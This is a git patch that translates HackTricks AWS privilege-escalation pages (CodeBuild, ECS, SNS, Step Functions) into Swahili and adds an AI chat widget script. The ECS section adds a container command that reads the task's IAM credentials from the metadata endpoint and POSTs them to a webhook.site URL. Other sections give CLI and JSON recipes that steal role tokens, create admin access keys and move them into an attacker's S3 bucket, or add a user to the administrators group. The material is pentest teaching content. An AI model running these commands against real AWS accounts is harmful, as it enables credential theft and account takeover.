From 35d972adc8c8271452d33de0352b48522f34fe19 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Apr 2025 15:31:48 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- book.toml | 1 + .../aws-codebuild-privesc.md | 16 +- .../aws-ecs-privesc.md | 63 +- .../aws-sns-privesc.md | 6 +- .../aws-stepfunctions-privesc.md | 28 +- theme/ai.js | 332 ++++++ theme/ht_searcher.js | 1030 +++++++++-------- 7 files changed, 941 insertions(+), 535 deletions(-) create mode 100644 theme/ai.js diff --git a/book.toml b/book.toml index f20e2d2a2..a1b0f52ed 100644 --- a/book.toml +++ b/book.toml @@ -31,6 +31,7 @@ additional-js = [ "theme/tabs.js", "theme/ht_searcher.js", "theme/sponsor.js", + "theme/ai.js" ] no-section-label = true preferred-dark-theme = "hacktricks-dark" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 72a3c6528..8ae773418 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -174,17 +174,17 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data **Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu lolote la AWS Codebuild. > [!WARNING] -> Katika **konteina ya Codebuild** faili `/codebuild/output/tmp/env.sh` ina kila mabadiliko ya env yanayohitajika kufikia **akiba ya metadata**. +> Katika **konteina ya Codebuild** faili `/codebuild/output/tmp/env.sh` ina kila mabadiliko ya mazingira yanayohitajika kufikia **akiba ya metadata**. -> Faili hii ina **mabadiliko ya env `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ambayo ina **njia ya URL** ya kufikia akiba. Itakuwa kitu kama hii `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Faili hii ina **mabadiliko ya mazingira `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ambayo ina **njia ya URL** ya kufikia akiba. Itakuwa kama hii `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` > Ongeza hiyo kwenye URL **`http://169.254.170.2/`** na utaweza kudump akiba ya jukumu. -> Zaidi ya hayo, pia ina **mabadiliko ya env `ECS_CONTAINER_METADATA_URI`** ambayo ina URL kamili ya kupata **taarifa za metadata kuhusu konteina**. +> Zaidi ya hayo, pia ina **mabadiliko ya mazingira `ECS_CONTAINER_METADATA_URI`** ambayo ina URL kamili ya kupata **taarifa za metadata kuhusu konteina**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Kama ilivyo katika sehemu ya awali, ikiwa badala ya kuunda mradi wa kujenga unaweza kuubadilisha, unaweza kuonyesha Jukumu la IAM na kuiba tokeni. +Kama ilivyo katika sehemu iliyopita, ikiwa badala ya kuunda mradi wa kujenga unaweza kuubadilisha, unaweza kuonyesha Jukumu la IAM na kuiba tokeni. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -214,7 +214,7 @@ JSON="{ printf "$JSON" > $REV_PATH -aws codebuild update-project --cli-input-json file://$REV_PATH +aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` @@ -222,7 +222,7 @@ aws codebuild start-build --project-name codebuild-demo-project ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Kama katika sehemu iliyopita lakini **bila ruhusa ya `iam:PassRole`**, unaweza kutumia ruhusa hii kubadilisha **miradi ya Codebuild iliyopo na kufikia jukumu walilopewa tayari**. +Kama ilivyo katika sehemu iliyopita lakini **bila ruhusa ya `iam:PassRole`**, unaweza kutumia ruhusa hii kubadilisha **miradi ya Codebuild iliyopo na kufikia jukumu walilopewa tayari**. {{#tabs }} {{#tab name="StartBuild" }} @@ -302,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -Kuwa na **idhini za kutosha kuanzisha kikao cha ssm** inawezekana kupata **ndani ya mradi wa Codebuild** unaojengwa. +Kuwa na **idhini ya kutosha kuanzisha kikao cha ssm** inawezekana kupata **ndani ya mradi wa Codebuild** unaojengwa. Mradi wa codebuild utahitaji kuwa na breakpoint: @@ -354,7 +354,7 @@ commands: **Impact:** Moja kwa moja privesc kwa jukumu lililotumiwa na mfanyakazi wa AWS CodeBuild ambalo mara nyingi lina mamlaka ya juu. > [!WARNING] -> Kumbuka kwamba buildspec inaweza kutarajiwa kuwa katika muundo wa zip, hivyo mshambuliaji atahitaji kupakua, kufungua, kubadilisha `buildspec.yml` kutoka kwenye saraka ya mzizi, kuzipa tena na kupakia. +> Kumbuka kwamba buildspec inaweza kutarajiwa kuwa katika muundo wa zip, hivyo mshambuliaji atahitaji kupakua, kufungua, kubadilisha `buildspec.yml` kutoka kwenye saraka ya mzizi, kuzipa tena na kupakia Maelezo zaidi yanaweza kupatikana [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index f5a035152..cfedc3c65 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -More **info about ECS** in: +Maelezo zaidi kuhusu ECS katika: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -13,6 +13,9 @@ More **info about ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` Mshambuliaji anayekandamiza ruhusa ya `iam:PassRole`, `ecs:RegisterTaskDefinition` na `ecs:RunTask` katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -32,12 +35,52 @@ aws ecs run-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu tofauti la ECS. +{{#endtab }} + +{{#tab name="Webhook" }} + +Unda webhook na tovuti kama webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu tofauti la ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Kama ilivyo katika mfano wa awali, mshambuliaji anayekandamiza ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**.\ -Hata hivyo, katika kesi hii, inahitajika kuwa na mfano wa konteina ili kuendesha tafsiri mbaya ya kazi. +Kama ilivyo katika mfano wa awali, mshambuliaji anayekandamiza ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** katika ECS anaweza **kuunda ufafanuzi mpya wa kazi** wenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**.\ +Hata hivyo, katika kesi hii, inahitajika kuwa na mfano wa konteina ili kuendesha ufafanuzi wa kazi mbaya. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -97,11 +140,11 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Hali hii ni kama zile za awali lakini **bila** ruhusa ya **`iam:PassRole`**.\ -Hii bado ni ya kuvutia kwa sababu ikiwa unaweza kuendesha kontena chochote, hata kama ni bila jukumu, unaweza **kuendesha kontena chenye mamlaka ili kutoroka** hadi kwenye node na **kuchukua jukumu la EC2 IAM** na **mamlaka ya kontena nyingine za ECS** zinazokimbia kwenye node.\ +Hii bado ni ya kuvutia kwa sababu ikiwa unaweza kuendesha kontena chochote, hata kama hakina jukumu, unaweza **kuendesha kontena chenye mamlaka ili kutoroka** hadi kwenye node na **kuchukua jukumu la EC2 IAM** na **majukumu mengine ya kontena za ECS** yanayoendesha kwenye node.\ Unaweza hata **kulazimisha kazi nyingine kuendesha ndani ya mfano wa EC2** ulioathiriwa ili kuchukua hati zao (kama ilivyojadiliwa katika [**Sehemu ya Privesc kwa node**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] -> Shambulio hili linaweza kutokea tu ikiwa **klasta ya ECS inatumia** mifano ya EC2 na sio Fargate. +> Shambulio hili linaweza kufanyika tu ikiwa **klasta ya ECS inatumia** mifano ya EC2 na sio Fargate. ```bash printf '[ { @@ -144,12 +187,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Mshambuliaji mwenye **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** anaweza **kutekeleza amri** ndani ya kontena linaloendesha na kuhamasisha jukumu la IAM lililounganishwa nalo (unahitaji ruhusa za kuelezea kwa sababu ni muhimu kutekeleza `aws ecs execute-command`).\ -Hata hivyo, ili kufanya hivyo, kifaa cha kontena kinahitaji kuwa kinaendesha **ExecuteCommand agent** (ambayo kwa kawaida hakiko). +Mshambuliaji mwenye **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** anaweza **kutekeleza amri** ndani ya kontena linalofanya kazi na kuhamasisha jukumu la IAM lililounganishwa nalo (unahitaji ruhusa za kuelezea kwa sababu ni muhimu kutekeleza `aws ecs execute-command`).\ +Hata hivyo, ili kufanya hivyo, kifaa cha kontena kinahitaji kuwa kinakimbia **ExecuteCommand agent** (ambayo kwa kawaida si hivyo). Kwa hivyo, mshambuliaji anaweza kujaribu: -- **Jaribu kutekeleza amri** katika kila kontena linaloendesha +- **Jaribu kutekeleza amri** katika kila kontena linalofanya kazi ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -227,7 +270,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Madhara Yanayoweza Kutokea**: Teua msimbo wa kiholela katika huduma iliyoathirika, ambayo inaweza kuathiri utendaji wake au kutoa data nyeti. +**Madhara Yanayoweza Kutokea**: Teua msimbo wa kiholela katika huduma iliyoathiriwa, ambayo inaweza kuathiri utendaji wake au kutoa data nyeti. ## Marejeleo diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 6300603ca..1e796264c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -12,15 +12,15 @@ Kwa maelezo zaidi angalia: ### `sns:Publish` -Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwa mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. +Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. ```bash aws sns publish --topic-arn --message ``` -**Madhara Yanayoweza Kutokea**: Utekelezaji wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au uchovu wa rasilimali. +**Madhara Yanayoweza Kutokea**: Ukatili wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au upungufu wa rasilimali. ### `sns:Subscribe` -Mshambuliaji anaweza kujiunga au kujiandikisha kwenye mada ya SNS, na hivyo kupata ufikiaji usioidhinishwa wa ujumbe au kuharibu utendaji wa kawaida wa programu zinazotegemea mada hiyo. +Mshambuliaji anaweza kujiandikisha au kujiunga na mada ya SNS, na hivyo kupata ufikiaji usioidhinishwa wa ujumbe au kuharibu utendaji wa kawaida wa programu zinazotegemea mada hiyo. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 38551082b..7a9d71c8f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -25,11 +25,11 @@ Au unaweza pia kwenda kwenye hati za API AWS na kuangalia hati za kila kitendo: ### `states:TestState` & `iam:PassRole` -Mshambuliaji mwenye ruhusa za **`states:TestState`** & **`iam:PassRole`** anaweza kujaribu hali yoyote na kupitisha jukumu lolote la IAM bila kuunda au kuboresha mashine ya hali iliyopo, ikiruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Kwa pamoja, ruhusa hizi zinaweza kusababisha vitendo vingi visivyoidhinishwa, kutoka kwa kubadilisha michakato hadi kubadilisha data, uvunjaji wa data, usimamizi wa rasilimali, na kupandisha hadhi. +Mshambuliaji mwenye ruhusa za **`states:TestState`** & **`iam:PassRole`** anaweza kujaribu hali yoyote na kupitisha jukumu lolote la IAM bila kuunda au kuboresha mashine ya hali iliyopo, ambayo inaweza kuwezesha ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Pamoja, ruhusa hizi zinaweza kusababisha vitendo vingi visivyoidhinishwa, kutoka kwa kubadilisha michakato hadi kubadilisha data, uvunjaji wa data, usimamizi wa rasilimali, na kupandisha hadhi. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Mifano ifuatayo inaonyesha jinsi ya kujaribu hali inayounda ufunguo wa upatikanaji kwa mtumiaji wa **`admin`** kwa kutumia ruhusa hizi na jukumu lenye ruhusa nyingi katika mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu iliyounganishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu hali hiyo kutekeleza kitendo cha **`iam:CreateAccessKey`**: +Mifano hii inaonyesha jinsi ya kujaribu hali inayounda ufunguo wa upatikanaji kwa mtumiaji **`admin`** kwa kutumia ruhusa hizi na jukumu lenye ruhusa nyingi katika mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu iliyounganishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu hali hiyo kutekeleza kitendo cha **`iam:CreateAccessKey`**: - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ Mifano ifuatayo inaonyesha jinsi ya kujaribu hali inayounda ufunguo wa upatikana "End": true } ``` -- **Amri** iliyotekelezwa kufanya privesc: +- **Amri** iliyotekelezwa ili kufanya privesc: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Mshambuliaji mwenye **`states:CreateStateMachine`** & **`iam:PassRole`** angeweza kuunda mashine ya hali na kutoa jukumu lolote la IAM, kuruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Tofauti na mbinu ya awali ya privesc (**`states:TestState`** & **`iam:PassRole`**), hii haitekelezi yenyewe, utahitaji pia kuwa na ruhusa za **`states:StartExecution`** au **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **haipatikani kwa mifumo ya kazi ya kawaida**, **ni kwa mashine za hali tu**) ili kuanza na utekelezaji juu ya mashine ya hali. +Mshambuliaji mwenye **`states:CreateStateMachine`** & **`iam:PassRole`** angeweza kuunda mashine ya hali na kutoa jukumu lolote la IAM, kuruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Tofauti na mbinu ya awali ya privesc (**`states:TestState`** & **`iam:PassRole`**), hii haitekelezi yenyewe, utahitaji pia kuwa na ruhusa za **`states:StartExecution`** au **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **haipatikani kwa mifumo ya kazi ya kawaida**, **ni kwa mashine za hali tu**) ili kuanzisha na kutekeleza juu ya mashine ya hali. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Mifano hii inaonyesha jinsi ya kuunda mashine ya hali inayounda ufunguo wa ufikiaji kwa mtumiaji **`admin`** na kuhamasisha ufunguo huu wa ufikiaji kwenye kikasha cha S3 kinachodhibitiwa na mshambuliaji, ikitumia ruhusa hizi na jukumu lenye ruhusa nyingi la mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu inayohusishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu mashine ya hali kufanya vitendo vya **`iam:CreateAccessKey`** & **`s3:putObject`**. +Mifano hii inaonyesha jinsi ya kuunda mashine ya hali inayounda funguo za ufikiaji kwa mtumiaji **`admin`** na kuhamasisha funguo hizi za ufikiaji kwenye kikasha cha S3 kinachodhibitiwa na mshambuliaji, ikitumia ruhusa hizi na jukumu lenye ruhusa nyingi la mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu iliyounganishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu mashine ya hali kufanya vitendo vya **`iam:CreateAccessKey`** & **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -132,23 +132,23 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> S3 bucket inayodhibitiwa na mshambuliaji inapaswa kuwa na ruhusa za kukubali hatua ya s3:PutObject kutoka kwa akaunti ya mwathirika. +> Bomba la S3 linalodhibitiwa na mshambuliaji linapaswa kuwa na ruhusa za kukubali hatua ya s3:PutObject kutoka kwa akaunti ya mwathirika. -**Athari Zinazoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa workflows na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. +**Athari Zinazoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. -### `states:UpdateStateMachine` & (sio lazima kila wakati) `iam:PassRole` +### `states:UpdateStateMachine` & (sio kila wakati inahitajika) `iam:PassRole` Mshambuliaji mwenye ruhusa ya **`states:UpdateStateMachine`** angeweza kubadilisha ufafanuzi wa mashine ya hali, akiwa na uwezo wa kuongeza hali za siri ambazo zinaweza kuishia katika kupandisha hadhi. Kwa njia hii, wakati mtumiaji halali anapoanza utekelezaji wa mashine ya hali, hali hii mpya ya siri itatekelezwa na kupandisha hadhi kutafanikiwa. -Kulingana na jinsi ruhusa ilivyo kubwa kwa IAM Role inayohusishwa na mashine ya hali, mshambuliaji angeweza kukutana na hali 2: +Kulingana na jinsi ruhusa ya IAM Role iliyoambatanishwa na mashine ya hali ilivyo, mshambuliaji angeweza kukutana na hali 2: -1. **IAM Role yenye Ruhusa Kubwa**: Ikiwa IAM Role inayohusishwa na mashine ya hali tayari ina ruhusa kubwa (ina mfano sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyounganishwa), basi ruhusa ya **`iam:PassRole`** haitahitajika ili kupandisha hadhi kwani haitakuwa muhimu pia kubadilisha IAM Role, kwa kuwa ufafanuzi wa mashine ya hali unatosha. -2. **IAM Role Isiyo na Ruhusa Kubwa**: Kinyume na kesi ya awali, hapa mshambuliaji pia atahitaji ruhusa ya **`iam:PassRole`** kwani itakuwa muhimu kuunganisha IAM Role yenye ruhusa kubwa na mashine ya hali pamoja na kubadilisha ufafanuzi wa mashine ya hali. +1. **Ruhusa ya IAM Role ya Kurehemu**: Ikiwa IAM Role iliyoambatanishwa na mashine ya hali tayari ni ya kurehemu (ina mfano wa sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyoambatanishwa), basi ruhusa ya **`iam:PassRole`** haitahitajika ili kupandisha hadhi kwani haitakuwa muhimu pia kubadilisha IAM Role, ambapo ufafanuzi wa mashine ya hali unatosha. +2. **Ruhusa ya IAM Role isiyo ya Kurehemu**: Kinyume na kesi ya awali, hapa mshambuliaji pia atahitaji ruhusa ya **`iam:PassRole`** kwani itakuwa muhimu kuunganisha IAM Role ya kurehemu na mashine ya hali pamoja na kubadilisha ufafanuzi wa mashine ya hali. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -Mifano ifuatayo inaonyesha jinsi ya kuboresha mashine halali ya hali ambayo inaita tu kazi ya Lambda ya HelloWorld, ili kuongeza hali ya ziada ambayo inaongeza mtumiaji **`unprivilegedUser`** kwenye Kundi la IAM **`administrator`**. Kwa njia hii, wakati mtumiaji halali anaanzisha utekelezaji wa mashine ya hali iliyoboreshwa, hali hii mpya ya siri itatekelezwa na kupandishwa kwa mamlaka kutafanikiwa. +Mifano hii inaonyesha jinsi ya kuboresha mashine halali ya hali ambayo inaita tu kazi ya Lambda ya HelloWorld, ili kuongeza hali ya ziada ambayo inaongeza mtumiaji **`unprivilegedUser`** kwenye Kundi la IAM **`administrator`**. Kwa njia hii, wakati mtumiaji halali anaanzisha utekelezaji wa mashine ya hali iliyosasishwa, hali hii mpya ya siri itatekelezwa na kupandishwa kwa mamlaka kutafanikiwa. > [!WARNING] > Ikiwa mashine ya hali haina Rol ya IAM inayoruhusu, itahitajika pia ruhusa ya **`iam:PassRole`** kuboresha Rol ya IAM ili kuunganisha Rol ya IAM inayoruhusu (kwa mfano moja yenye sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyounganishwa). @@ -181,7 +181,7 @@ Mifano ifuatayo inaonyesha jinsi ya kuboresha mashine halali ya hali ambayo inai ``` {{#endtab }} -{{#tab name="Mashine ya Hali Iliyosasishwa ya Uhalifu" }} +{{#tab name="Malicious Updated State Machine" }} ```json { "Comment": "Hello world from Lambda state machine", @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. +**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjifu mkubwa wa usalama. {{#include ../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js new file mode 100644 index 000000000..bb8af53b7 --- /dev/null +++ b/theme/ai.js @@ -0,0 +1,332 @@ +/** + * HackTricks AI Chat Widget v1.15 – Markdown rendering + sanitised + * ------------------------------------------------------------------------ + * • Replaces the static “…” placeholder with a three-dot **bouncing** loader + * • Renders assistant replies as Markdown while purging any unsafe HTML + * (XSS-safe via DOMPurify) + * ------------------------------------------------------------------------ + */ +(function () { + const LOG = "[HackTricks-AI]"; + + /* ---------------- User-tunable constants ---------------- */ + const MAX_CONTEXT = 3000; // highlighted-text char limit + const MAX_QUESTION = 500; // question char limit + const TOOLTIP_TEXT = + "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; + + const API_BASE = "https://www.hacktricks.ai/api/assistants/threads"; + const BRAND_RED = "#b31328"; // HackTricks brand + + /* ------------------------------ State ------------------------------ */ + let threadId = null; + let isRunning = false; + + const $ = (sel, ctx = document) => ctx.querySelector(sel); + if (document.getElementById("ht-ai-btn")) { + console.warn(`${LOG} Widget already injected.`); + return; + } + (document.readyState === "loading" + ? document.addEventListener("DOMContentLoaded", init) + : init()); + + /* ==================================================================== */ + /* 🔗 1. 3rd-party libs → Markdown & sanitiser */ + /* ==================================================================== */ + function loadScript(src) { + return new Promise((resolve, reject) => { + const s = document.createElement("script"); + s.src = src; + s.onload = resolve; + s.onerror = () => reject(new Error(`Failed to load ${src}`)); + document.head.appendChild(s); + }); + } + + async function ensureDeps() { + const deps = []; + if (typeof marked === "undefined") { + deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js")); + } + if (typeof DOMPurify === "undefined") { + deps.push( + loadScript( + "https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js" + ) + ); + } + if (deps.length) await Promise.all(deps); + } + + function mdToSafeHTML(md) { + // 1️⃣ Markdown → raw HTML + const raw = marked.parse(md, { mangle: false, headerIds: false }); + // 2️⃣ Purify + return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } }); + } + + /* ==================================================================== */ + async function init() { + /* ----- make sure marked & DOMPurify are ready before anything else */ + try { + await ensureDeps(); + } catch (e) { + console.error(`${LOG} Could not load dependencies`, e); + return; + } + + console.log(`${LOG} Injecting widget… v1.15`); + + await ensureThreadId(); + injectStyles(); + + const btn = createFloatingButton(); + createTooltip(btn); + const panel = createSidebar(); + const chatLog = $("#ht-ai-chat"); + const sendBtn = $("#ht-ai-send"); + const inputBox = $("#ht-ai-question"); + const resetBtn = $("#ht-ai-reset"); + const closeBtn = $("#ht-ai-close"); + + /* ------------------- Selection snapshot ------------------- */ + let savedSelection = ""; + btn.addEventListener("pointerdown", () => { + savedSelection = window.getSelection().toString().trim(); + }); + + /* ------------------- Helpers ------------------------------ */ + function addMsg(text, cls) { + const b = document.createElement("div"); + b.className = `ht-msg ${cls}`; + + // ✨ assistant replies rendered as Markdown + sanitised + if (cls === "ht-ai") { + b.innerHTML = mdToSafeHTML(text); + } else { + // user / context bubbles stay plain-text + b.textContent = text; + } + + chatLog.appendChild(b); + chatLog.scrollTop = chatLog.scrollHeight; + return b; + } + const LOADER_HTML = + ''; + + function setInputDisabled(d) { + inputBox.disabled = d; + sendBtn.disabled = d; + } + function clearThreadCookie() { + document.cookie = "threadId=; Path=/; Max-Age=0"; + threadId = null; + } + function resetConversation() { + chatLog.innerHTML = ""; + clearThreadCookie(); + panel.classList.remove("open"); + } + + /* ------------------- Panel open / close ------------------- */ + btn.addEventListener("click", () => { + if (!savedSelection) { + alert("Please highlight some text first to then ask HackTricks AI about it."); + return; + } + if (savedSelection.length > MAX_CONTEXT) { + alert( + `Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.` + ); + return; + } + chatLog.innerHTML = ""; + addMsg(savedSelection, "ht-context"); + panel.classList.add("open"); + inputBox.focus(); + }); + closeBtn.addEventListener("click", resetConversation); + resetBtn.addEventListener("click", resetConversation); + + /* --------------------------- Messaging --------------------------- */ + async function sendMessage(question, context = null) { + if (!threadId) await ensureThreadId(); + if (isRunning) { + addMsg("Please wait until the current operation completes.", "ht-ai"); + return; + } + + isRunning = true; + setInputDisabled(true); + const loadingBubble = addMsg("", "ht-ai"); + loadingBubble.innerHTML = LOADER_HTML; + + const content = context + ? `### Context:\n${context}\n\n### Question to answer:\n${question}` + : question; + try { + const res = await fetch(`${API_BASE}/${threadId}/messages`, { + method: "POST", + credentials: "include", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ content }) + }); + if (!res.ok) { + let err = `Unknown error: ${res.status}`; + try { + const e = await res.json(); + if (e.error) err = `Error: ${e.error}`; + else if (res.status === 429) + err = "Rate limit exceeded. Please try again later."; + } catch (_) {} + loadingBubble.textContent = err; + return; + } + const data = await res.json(); + loadingBubble.remove(); + if (Array.isArray(data.response)) + data.response.forEach((p) => { + addMsg( + p.type === "text" && p.text && p.text.value + ? p.text.value + : JSON.stringify(p), + "ht-ai" + ); + }); + else if (typeof data.response === "string") + addMsg(data.response, "ht-ai"); + else addMsg(JSON.stringify(data, null, 2), "ht-ai"); + } catch (e) { + 